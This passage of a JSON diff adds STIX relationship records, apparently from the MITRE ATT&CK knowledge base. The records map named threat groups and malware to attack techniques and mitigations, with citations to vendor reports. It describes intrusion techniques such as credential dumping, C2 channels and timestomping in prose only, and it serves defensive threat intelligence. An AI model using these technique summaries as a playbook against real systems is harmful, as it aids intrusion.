"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a92197a8-ec5c-4366-92af-f45078a3bfd7", + "external_references": [ + { + "source_name": "aptsim", + "description": "valsmith. (2012, September 21). More on APTSim. Retrieved September 28, 2017.", + "url": "http://carnal0wnage.attackresearch.com/2012/09/more-on-aptsim.html" + } + ], + "modified": "2019-04-29T18:01:20.215Z", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "relationship_type": "uses", + "target_ref": "attack-pattern--9b99b83a-1aac-4e29-b975-b374950551a3" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Carbanak](https://attack.mitre.org/groups/G0008) malware names itself \"svchost.exe,\" which is the name of the Windows shared service host program.", + "type": "relationship", + "created": "2017-05-31T21:33:27.042Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bbf116bf-6f8a-44f4-9d98-db6ccbbff333", + "external_references": [ + { + "source_name": "Kaspersky Carbanak", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf" + } + ], + "modified": "2019-03-22T19:59:26.972Z", + "source_ref": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c", + "relationship_type": "uses", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has downloaded additional files, including by using a first-stage downloader to contact the C2 server to obtain the second-stage implant.", + "type": "relationship", + "created": "2017-05-31T21:33:27.038Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--644b6c21-90f0-43b7-8da4-7f6f24ddabb6", + "external_references": [ + { + "source_name": "Bitdefender APT28 Dec 2015", + "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.", + "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf" + }, + { + "source_name": "Unit 42 Playbook Dec 2017", + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "url": "https://pan-unit42.github.io/playbook_viewer/" + }, + { + "source_name": "Accenture SNAKEMACKEREL Nov 2018", + "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.", + "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50" + } + ], + "modified": "2019-07-27T00:09:35.472Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-17T16:17:30.712Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fa224c64-2157-4c2f-9f9c-451a3923cc42", + "external_references": [ + { + "source_name": "Unit 42 RGDoor Jan 2018", + "description": "Falcone, R. (2018, January 25). OilRig uses RGDoor IIS Backdoor on Targets in the Middle East. Retrieved July 6, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/" + } + ], + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "relationship_type": "uses", + "target_ref": "malware--b9eec47e-98f4-4b3c-b574-3fa8a87ebe05" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The [Deep Panda](https://attack.mitre.org/groups/G0009) group is known to utilize WMI for lateral movement.", + "type": "relationship", + "created": "2017-05-31T21:33:27.043Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d295beee-439c-44f9-9908-4cb194331de9", + "external_references": [ + { + "source_name": "Alperovitch 2014", + "description": "Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. 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Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + }, + { + "source_name": "Talos Group123", + "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html" + } + ], + "modified": "2019-07-08T14:33:15.846Z", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Bisonal](https://attack.mitre.org/software/S0268) can execute ipconfig on the victim\u2019s machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e4e9f93d-ae64-4f75-b12b-acbb45c31c41", + "external_references": [ + { + "source_name": "Unit 42 Bisonal July 2018", + "description": "Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--65ffc206-d7c1-45b3-b543-f6b726e7840d", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T19:12:03.011Z", + "type": "relationship", + "id": "relationship--65a4317d-86b2-40c1-9d27-a067bcc2ad80", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2018-01-16T16:13:52.465Z", + "source_ref": "course-of-action--910482b1-6749-4934-abcb-3e34d58294fc", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--772bc7a8-a157-42cc-8728-d648e25c7fe7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT3](https://attack.mitre.org/groups/G0022) will identify Microsoft Office documents on the victim's computer.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8f6701a2-91cc-449e-98e1-e83bd2f7317c", + "external_references": [ + { + "source_name": "aptsim", + "description": "valsmith. (2012, September 21). More on APTSim. Retrieved September 28, 2017.", + "url": "http://carnal0wnage.attackresearch.com/2012/09/more-on-aptsim.html" + } + ], + "modified": "2019-04-29T18:01:20.238Z", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "relationship_type": "uses", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Rancor](https://attack.mitre.org/groups/G0075) has attached a malicious document to an email to gain initial access.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ebed8156-bce1-4710-bd99-7cdcfa887d28", + "external_references": [ + { + "source_name": "Rancor Unit42 June 2018", + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + } + ], + "modified": "2019-04-25T12:37:45.583Z", + "source_ref": "intrusion-set--f40eb8ce-2a74-4e56-89a1-227021410142", + "relationship_type": "uses", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware WhiskeyDelta-Two contains a function that attempts to rename the administrator\u2019s account.", + "type": "relationship", + "created": "2017-05-31T21:33:27.066Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2325c0b2-fb89-44e1-9206-e495811f2907", + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster Destructive Malware", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.", + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf" + } + ], + "modified": "2019-04-29T18:13:08.175Z", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "relationship_type": "uses", + "target_ref": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has delivered [JHUHUGIT](https://attack.mitre.org/software/S0044) and [Koadic](https://attack.mitre.org/software/S0250) by executing PowerShell commands through DDE in Word documents.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--69f57458-bfb2-44a2-a8cf-0fce0e2b0a22", + "external_references": [ + { + "source_name": "McAfee APT28 DDE1 Nov 2017", + "description": "Sherstobitoff, R., Rea, M. (2017, November 7). Threat Group APT28 Slips Office Malware into Doc Citing NYC Terror Attack. Retrieved November 21, 2017.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/apt28-threat-group-adopts-dde-technique-nyc-attack-theme-in-latest-campaign/" + }, + { + "source_name": "McAfee APT28 DDE2 Nov 2017", + "description": "Paganini, P. (2017, November 9). Russia-Linked APT28 group observed using DDE attack to deliver malware. Retrieved November 21, 2017.", + "url": "http://securityaffairs.co/wordpress/65318/hacking/dde-attack-apt28.html" + }, + { + "source_name": "Palo Alto Sofacy 06-2018", + "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/" + } + ], + "modified": "2019-07-27T00:09:35.502Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "relationship_type": "uses", + "target_ref": "attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T19:08:19.295Z", + "type": "relationship", + "id": "relationship--bb283a5e-7d61-4b33-aa30-e7c2f0bacbe6", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.020Z", + "source_ref": "course-of-action--39706d54-0d06-4a25-816a-78cc43455100", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T19:45:55.077Z", + "type": "relationship", + "id": "relationship--918956f2-db79-4721-8741-3b461a280e51", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-12-14T16:46:06.044Z", + "source_ref": "course-of-action--77fd4d73-6b79-4593-82e7-e4a439cc7604", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--04ef4356-8926-45e2-9441-634b6f3dcecb" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A [Dipsind](https://attack.mitre.org/software/S0200) variant uses a C2 mechanism similar to port knocking that allows attackers to connect to a victim without leaving the connection open for more than a few sectonds.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--da037327-5478-4fa0-aed0-d9b4da4a4e4a", + "external_references": [ + { + "source_name": "Microsoft PLATINUM April 2016", + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e170995d-4f61-4f17-b60e-04f9a06ee517", + "relationship_type": "uses", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-22T15:08:48.543Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.034Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--301de16e-3829-4fb0-b217-dcdfca7398c9", + "external_references": [ + { + "source_name": "Villeneuve et al 2014", + "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf" + }, + { + "source_name": "NCC Group APT15 Alive and Strong", + "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + } + ], + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "relationship_type": "uses", + "target_ref": "tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has saved files with hidden file attributes.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--08fd666f-684f-4e78-876a-48cb92572c3a", + "external_references": [ + { + "source_name": "Talos Seduploader Oct 2017", + "description": "Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.", + "url": "https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html" + }, + { + "source_name": "Talos Seduploader Oct 2017", + "description": "Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.", + "url": "https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html" + } + ], + "modified": "2019-07-27T00:09:35.535Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "relationship_type": "uses", + "target_ref": "attack-pattern--dc27c2ec-c5f9-4228-ba57-d67b590bda93" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has deleted files associated with their payload after execution.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--51f1d23c-1ccd-4cc4-918c-39e9a66e510b", + "external_references": [ + { + "source_name": "FireEye APT34 Dec 2017", + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + }, + { + "source_name": "Unit 42 OopsIE! Feb 2018", + "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/" + } + ], + "modified": "2019-07-17T16:17:29.599Z", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T18:09:33.160Z", + "type": "relationship", + "id": "relationship--cf699238-7091-4d79-9741-d792152f37c1", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.027Z", + "source_ref": "course-of-action--b8d57b16-d8e2-428c-a645-1083795b3445", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--64196062-5210-42c3-9a02-563a0d1797ef" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The [Helminth](https://attack.mitre.org/software/S0170) config file is encrypted with RC4.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--284d622d-8b28-4569-97a7-936edced1b18", + "external_references": [ + { + "source_name": "Palo Alto OilRig May 2016", + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has performed timestomping on victim files.", + "type": "relationship", + "created": "2017-05-31T21:33:27.038Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1036833a-1d4c-4d9e-b716-1e52606ab684", + "external_references": [ + { + "source_name": "Crowdstrike DNC June 2016", + "description": "Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.", + "url": "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/" + } + ], + "modified": "2019-07-27T00:09:35.561Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "relationship_type": "uses", + "target_ref": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BADCALL](https://attack.mitre.org/software/S0245) uses port 8000 and 443 for C2.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--aa698440-b114-4ab4-b66d-e5583071f3e9", + "external_references": [ + { + "source_name": "US-CERT BADCALL", + "description": "US-CERT. (2018, February 06). Malware Analysis Report (MAR) - 10135536-G. Retrieved June 7, 2018.", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-G.PDF" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--9dbdadb6-fdbf-490f-a35f-38762d06a0d2", + "relationship_type": "uses", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CHOPSTICK](https://attack.mitre.org/software/S0023) can switch to a new C2 channel if the current one is broken.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--101867a2-149c-4088-a90f-7af4b86e5013", + "external_references": [ + { + "source_name": "ESET Sednit Part 2", + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + } + ], + "modified": "2019-05-14T17:10:21.817Z", + "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472", + "relationship_type": "uses", + "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CozyCar](https://attack.mitre.org/software/S0046)'s main method of communicating with its C2 servers is using HTTP or HTTPS.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--22301618-a676-4d94-975a-2a56e5a7f919", + "external_references": [ + { + "source_name": "F-Secure CozyDuke", + "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/CozyDuke" + } + ], + "modified": "2019-04-24T23:17:25.064Z", + "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used [RGDoor](https://attack.mitre.org/software/S0258) via Web shell to establish redundant access. The group has also used harvested credentials to gain access to Internet-accessible resources such as Outlook Web Access, which could be used for redundant access.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d329d311-422b-4144-9212-aa7da4dc273a", + "external_references": [ + { + "source_name": "Unit 42 Playbook Dec 2017", + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "url": "https://pan-unit42.github.io/playbook_viewer/" + } + ], + "modified": "2019-07-17T16:17:29.722Z", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "relationship_type": "uses", + "target_ref": "attack-pattern--6aabc5ec-eae6-422c-8311-38d45ee9838a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T19:17:59.682Z", + "type": "relationship", + "id": "relationship--678be242-66fd-40b8-bbf1-24c3dda77895", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.029Z", + "source_ref": "course-of-action--56db6ccc-433d-4411-8383-c3fd7053e2c8", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T20:14:29.751Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.065Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0ec4a49c-0adc-41fb-afc2-e99f1e7c5200", + "external_references": [ + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "source_ref": "intrusion-set--ae41895a-243f-4a65-b99b-d85022326c31", + "relationship_type": "uses", + "target_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:15:18.044Z", + "type": "relationship", + "id": "relationship--c57efd0b-817e-45c2-9f11-e8e7ac11b44c", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.020Z", + "source_ref": "course-of-action--da987565-27b6-4b31-bbcd-74b909847116", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--99709758-2b96-48f2-a68a-ad7fbd828091" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T19:49:43.858Z", + "type": "relationship", + "id": "relationship--ab6dbf38-dfed-4bfa-9d7d-bbe6864f82d3", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-12-14T16:46:06.044Z", + "source_ref": "course-of-action--06824aa2-94a5-474c-97f6-57c2e983d885", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--36675cd3-fe00-454c-8516-aebecacbe9d9" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BlackOasis](https://attack.mitre.org/groups/G0063)'s first stage shellcode contains a NOP sled with alternative instructions that was likely designed to bypass antivirus tools.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4ad9aa86-f489-4f0f-926f-f381221c3705", + "external_references": [ + { + "source_name": "Securelist BlackOasis Oct 2017", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, October 16). BlackOasis APT and new targeted attacks leveraging zero-day exploit. Retrieved February 15, 2018.", + "url": "https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "intrusion-set--da49b9f1-ca99-443f-9728-0a074db66850", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Molerats](https://attack.mitre.org/groups/G0021) used the public tool BrowserPasswordDump10 to dump passwords saved in browsers on victims.", + "type": "relationship", + "created": "2017-05-31T21:33:27.055Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a06bd922-b887-4134-81cb-1e4180cf5a5a", + "external_references": [ + { + "source_name": "DustySky", + "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.", + "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf" + } + ], + "modified": "2019-03-25T14:27:23.889Z", + "source_ref": "intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T14:20:57.749Z", + "type": "relationship", + "id": "relationship--395468bb-f42a-4e60-8f2f-d998c9d85675", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2018-04-18T17:59:24.739Z", + "source_ref": "course-of-action--3a41b366-cfd6-4af2-a6e7-3c6e3c4ebcef", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--8df54627-376c-487c-a09c-7d2b5620f56e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT32](https://attack.mitre.org/groups/G0050) collected the victim's username and executed the whoami command on the victim's machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--40032198-f003-4171-92a0-faf038f62a0b", + "external_references": [ + { + "source_name": "ESET OceanLotus", + "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.", + "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/" + }, + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 